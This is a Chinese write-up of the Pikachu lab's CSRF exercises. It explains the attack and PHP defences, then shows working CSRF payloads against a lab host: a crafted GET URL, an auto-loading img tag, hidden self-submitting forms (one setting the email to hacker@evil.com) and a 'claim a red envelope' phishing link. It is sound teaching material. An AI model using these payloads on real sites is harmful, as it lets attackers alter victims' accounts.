当前位置：首页 > news >正文

Pikachu靶场-CSRF

news 来源：原创 2025/8/21 7:57:22

CSRF (跨站请求伪造) 详细介绍与技术分析

一、什么是 CSRF?

CSRF（Cross-Site Request Forgery，跨站请求伪造），是一种利用已认证用户的身份，诱使该用户执行恶意操作的攻击手段。攻击者通过伪造一个用户请求，冒充用户进行操作，最终导致用户在不知情的情况下执行恶意请求。与 XSS（跨站脚本攻击）不同，CSRF 不需要用户浏览器执行恶意代码，而是通过直接发送伪造请求来完成攻击。

二、CSRF 攻击的基本原理

CSRF 攻击的关键在于利用用户在目标站点上的认证信息（如 Cookie），欺骗用户在不知情的情况下发起操作请求。这类攻击的攻击者并不直接控制用户的浏览器，而是通过让用户的浏览器发出请求来达到攻击目的。

攻击流程概述：

用户登录目标网站：用户通过用户名和密码登录到一个支持 Cookie 或 Session 的网站（比如在线银行、社交平台等）。
攻击者诱导用户访问恶意网站：攻击者通过电子邮件、社交媒体、或钓鱼网站等方式，诱使已登录的用户访问其精心设计的恶意页面。
恶意页面向目标网站发送请求：攻击者的恶意页面通常包含一个指向目标站点的请求（如修改密码、转账、删除账户等），这个请求会携带用户的认证信息（如 Cookie）。
目标网站执行请求：目标网站因无法区分请求是否为恶意发起，便执行了攻击者伪造的请求。最终，攻击者达到自己的目的（例如修改用户的个人信息、转账等）。

攻击的核心要素：

受害者的身份认证：CSRF 攻击依赖于用户已经在目标网站上进行了身份验证，且认证信息通常通过 Cookie 机制进行存储和传递。用户已经登录并有足够的权限，攻击者就能利用用户的身份进行伪造请求。
请求伪造：攻击者伪造了用户请求，通常是通过一些技术手段（如提交隐藏表单、构造带有恶意参数的 URL、利用图片请求等）来触发恶意操作。
无意识的用户：CSRF 攻击的受害者通常没有察觉自己已被攻击，因为攻击不需要用户的任何交互动作。用户可能只是点击了一个链接或打开了一个网页，恶意请求就在背后悄无声息地完成。

三、CSRF 攻击的实例

1. 修改用户信息

假设某个社交网站的用户资料可以通过如下的 HTTP 请求修改：

POST /update_profile HTTP/1.1
Host: example.com
Cookie: session_id=abcd1234
Content-Type: application/x-www-form-urlencoded

username=newuser&email=newuser@example.com&password=newpassword

攻击者可以通过以下方式诱使已登录的用户发起修改请求：

攻击者构造恶意网页，其中包含如下内容：

用户点击恶意链接，由于用户已经在 example.com 登录，浏览器会自动带上 Cookie（session_id=abcd1234），从而提交伪造的请求。目标网站无法区分是正常用户发起的请求还是恶意请求，因此会错误地修改用户信息。

2. 银行转账攻击

假设一个在线银行的转账请求通过以下 HTTP 请求实现：

POST /transfer HTTP/1.1
Host: bank.com
Cookie: session_id=abcd1234
Content-Type: application/x-www-form-urlencoded

amount=1000&to_account=attacker_account

攻击者可以通过构造一个恶意网页，诱使用户点击按钮进行资金转账：

当用户在银行站点上登录并打开恶意页面时，浏览器会携带用户的身份认证信息（如 session_id）并提交转账请求，导致资金转账到攻击者账户。

四、如何防止 CSRF 攻击？

防御 CSRF 攻击通常需要从多个角度进行考虑，主要有以下几种防护方法：

1. 使用 CSRF Token（防御最有效的方式）

在每个敏感请求（如修改密码、提交表单等）中引入 CSRF Token。Token 是一个唯一且随机生成的字符串，每个请求都必须包含该 Token，且 Token 在服务器端存储并与请求验证。

生成 Token： 服务器在生成页面时，随机生成一个 CSRF Token，将其存储在服务器端，并将该 Token 插入到页面中作为一个隐藏字段。

<?php
session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
?>
<form action="update_profile.php" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>" />

<input type="submit" value="Update Profile" />
</form>

验证 Token： 服务器收到表单请求时，验证请求中提交的 CSRF Token 是否与服务器端存储的 Token 匹配。

<?php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF token validation failed.');
}
// 继续处理请求
?>

这种方式通过确保每次请求都需要带上唯一的 Token，有效地防止了 CSRF 攻击，因为攻击者无法获得合法的 Token。

2. SameSite Cookie 属性

SameSite 是一种新的 Cookie 属性，用于防止第三方网站通过跨站点请求伪造攻击来发送 Cookie。通过将 SameSite 设置为 Strict 或 Lax，可以有效避免浏览器在跨站请求时发送 Cookie。

SameSite=Strict：只有在当前网站直接访问时，浏览器才会发送 Cookie。即使用户点击了来自其他网站的链接，Cookie 也不会发送。
SameSite=Lax：只要用户从当前网站直接访问或通过 GET 请求进行请求，浏览器会发送 Cookie。
SameSite=None：如果设置为 None，则可以在跨站请求中发送 Cookie，但必须同时设置 Secure（即 HTTPS）。

Set-Cookie: session_id=abcd1234; SameSite=Strict; Secure

3. 使用 Referer 或 Origin 验证

服务器可以检查请求中的 Referer 或 Origin HTTP 头部，以确认请求是否来自可信来源。这个方法可以确保请求是从同一站点发起的，而不是来自恶意站点。

<?php
$referer = $_SERVER['HTTP_REFERER'];
$origin = $_SERVER['HTTP_ORIGIN'];

if (strpos($referer, "Example Domain") === false && strpos($origin, "Example Domain") === false) {
die('Invalid referer or origin.');
}
// 继续处理请求
?>

4. 双重验证（如 OTP）

在执行重要操作时（如修改账户信息或资金转账），要求用户输入二次验证信息，例如通过邮件或短信发送一次性密码（OTP）。这样即使攻击者通过 CSRF 发起请求，也需要获取第二次验证的信息才能完成操作。

五、总结

CSRF 攻击是一种相对简单但非常危险的攻击方式，它依赖于用户的身份认证信息，通过伪造用户请求来进行攻击。防御 CSRF 攻击的有效方法包括使用 CSRF Token、利用 SameSite Cookie 属性、验证 Referer 或 Origin 头部、以及使用双重身份验证等。

CSRF攻击流程分析

用户认证
用户登录目标网站（如银行），服务器颁发会话Cookie，浏览器保存该凭证。
漏洞存在
目标网站未部署CSRF防护措施（如CSRF Token、同源验证等）。
构造恶意请求
攻击者伪造目标网站的关键操作请求（如转账），并设计自动触发方式（如隐藏表单、图片标签）。
设置陷阱
攻击者创建包含恶意请求的页面或链接，并通过钓鱼邮件、恶意广告等方式诱导用户访问。
用户触发请求
用户访问陷阱页面，浏览器自动发送恶意请求（携带已保存的会话Cookie）。
服务器处理请求
目标服务器验证Cookie有效，误认为请求合法并执行操作（如转账）。
攻击完成
恶意操作成功执行，用户数据或资产被篡改。

+-------------------+     +---------------------+     +-----------------------+
| 用户登录目标网站   | --> | 目标网站无CSRF防护 | --> | 攻击者构造恶意请求     |
+-------------------+     +---------------------+     +-----------------------+
                                                         |                                       |
                                                         v                                       v
+-------------------+     +---------------------+     +-----------------------+
| 用户访问陷阱页面   | <-- | 攻击者诱骗用户点击   | <-- | 陷阱页面嵌入恶意请求    |
+-------------------+     +---------------------+     +-----------------------+
                                                         |
                                                         v
+-------------------+        +-----------------------+
| 浏览器发送恶意请求 | --> | 目标服务器执行操作    |
+-------------------+        +-----------------------+
                                                        |
                                                        v
                                         +-------------------+
                                        | 攻击成功（如转账） |
                                         +-------------------+

一，GET型CSRF

1，通过提示拿到一些用户名密码

登录成功

看看修改个人信息的功能

2，然后使用burpsuite抓取修改信息操作时候存在的请求包

CSRF漏洞分析及利用方式

漏洞存在性分析

关键操作使用GET请求

示例请求为GET方法，参数包含敏感操作（如修改用户信息）。
风险：GET请求可通过URL、图片标签、链接等自动触发，无需用户交互，易被CSRF利用。

缺乏CSRF防护机制

请求中未包含CSRF Token、自定义Header或双重验证。
服务器仅依赖Cookie（PHPSESSID）验证身份，未检查请求来源的合法性。

Cookie未设置SameSite属性

Cookie未启用SameSite=Strict或Lax，跨站请求时会自动携带会话凭证。

Referer检查不严格

请求的Referer字段指向同域页面，但若服务器未严格验证Referer（如允许空Referer或子域），攻击者可绕过。

漏洞利用方式

攻击者可构造恶意页面或链接，诱导已登录用户访问，触发自动请求。

步骤示例：

构造恶意请求
修改URL参数，指向攻击目标：
http://192.168.23.154/06/vul/csrf/csrfget/csrf_get_edit.php?
sex=attacker&
phonenum=123456&
add=attack_address&
email=attacker@example.com&
submit=submit

生成一个短链接供受害者点击:https://monojson.com/s/6YsuL

个人信息成功被修改

设计触发方式

图片标签自动加载（无需用户点击）：
<img src="https://monojson.com/s/6YsuL" />
隐藏表单自动提交（通过JS触发）：
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://monojson.com/s/6YsuL" method="GET" target="csrf-frame">
<input type="submit" value="Submit" />
</form>
<script>document.forms[0].submit();</script>

钓鱼链接诱导点击：
<a href="https://monojson.com/s/6YsuL">点击领取红包</a>
诱导用户访问陷阱
通过钓鱼邮件、恶意广告、论坛帖子等传播陷阱页面。
触发攻击
用户访问陷阱页面时，浏览器自动发送携带Cookie的GET请求，服务器误认为合法操作并执行修改。

源代码分析

1. 使用GET请求处理敏感操作（退出登录）

// csrf_get.php 中处理退出的代码
if(isset($_GET['logout']) && $_GET['logout'] == 1){
    session_unset();
    session_destroy();
    setcookie(session_name(),'',time()-3600,'/');
    header("location:csrf_get_login.php");
}

漏洞成因：
通过$_GET['logout']参数直接触发退出登录操作，攻击者可构造恶意链接（如http://site/csrf_get.php?logout=1）强制用户退出会话。

2. 个人信息修改功能未防护CSRF

// 页面中生成修改个人信息链接的代码
<a class="edit" href="csrf_get_edit.php">修改个人信息</a>

漏洞成因：
假设csrf_get_edit.php通过GET/POST处理数据修改时未校验请求来源或使用CSRF Token，攻击者可构造恶意请求直接修改用户信息。

3. 缺乏全局CSRF防御机制

无Token验证：
代码中未在任何敏感操作（如退出、修改信息）中使用CSRF Token。
未校验Referer：
未检查请求头中的Referer字段是否来自合法源。
Cookie未设置SameSite属性：
Session Cookie未启用SameSite=Strict/Lax，导致浏览器自动携带Cookie到跨站请求中。

总结

关键漏洞代码集中在：

GET型敏感操作（如退出登录）
未防护的修改功能入口（如csrf_get_edit.php的调用）
缺失的CSRF防御逻辑（Token、Referer、Cookie加固）

二，POST型CSRF

1，网站的功能是一样的，只不过提交请求的方式变成了POST型

无CSRF Token防护：请求参数中未包含动态生成的Token，攻击者可直接伪造请求。
依赖Session Cookie身份验证：仅通过PHPSESSID Cookie验证用户身份，未设置SameSite属性，浏览器会跨域自动携带Cookie。
未校验Referer/Origin：虽然请求头包含Origin和Referer，但服务端未验证其合法性（允许任意来源）。

2. 攻击可行性

修改用户敏感信息（性别、手机、地址、邮箱）的操作通过简单POST请求完成，可直接用HTML表单构造。
攻击者可诱骗已登录用户访问恶意页面，自动提交伪造请求，实现信息篡改。

构造自动提交的HTML表单

<html>
<body>
    <form
      action="http://192.168.23.154/06/vul/csrf/csrfpost/csrf_post_edit.php"
      method="POST"
      id="csrfForm"
    >
      <input type="hidden" name="sex" value="2">
      <input type="hidden" name="phonenum" value="6666666666">
      <input type="hidden" name="add" value="Hacker's Address">
      <input type="hidden" name="email" value="hacker@evil.com">
      <input type="hidden" name="submit" value="submit">
    </form>
    <script>
      document.getElementById('csrfForm').submit(); // 自动提交表单
    </script>
</body>
</html>

2. 短链诱导用户点击

<a href="https://monojson.com/s/GtCeu">点击领取红包</a>

3. 利用效果

用户访问恶意页面后，表单自动提交，其个人信息会被修改为攻击者预设的值。
由于浏览器自动携带Cookie，服务端认为这是用户的合法操作。

三，CSRF之token

1，抓包分析漏洞存在

漏洞存在理由

1. 敏感操作使用GET请求

GET /06/vul/csrf/csrftoken/token_get_edit.php?sex=1&...&token=770206800c173d308b183726581&submit=submit

问题：修改用户信息（性别、手机号、地址等）通过GET请求完成，参数直接暴露在URL中。即使有Token，攻击者仍可诱导用户访问恶意链接触发操作。

2. Token泄露风险

Token传递方式不安全：Token通过URL参数明文传输（token=770206800c173d308b183726581），可能被浏览器历史记录、Referer头、日志等泄露。
Token可被预测/重放：若Token生成算法不安全（如时间戳哈希、弱随机数），攻击者可能预测或重放有效Token。

3. 缺乏其他防御措施

未校验Referer/Origin头：未验证请求来源是否为合法域名，攻击者可构造跨域请求。
Cookie未设置SameSite属性：Session Cookie（PHPSESSID）未启用SameSite=Lax/Strict，跨域请求仍会携带Cookie。

漏洞验证与利用

攻击场景

假设用户已登录系统，且攻击者通过某种方式获取了当前用户的Token（例如诱导用户访问恶意页面窃取Token，或Token生成算法可预测）。

相关文章：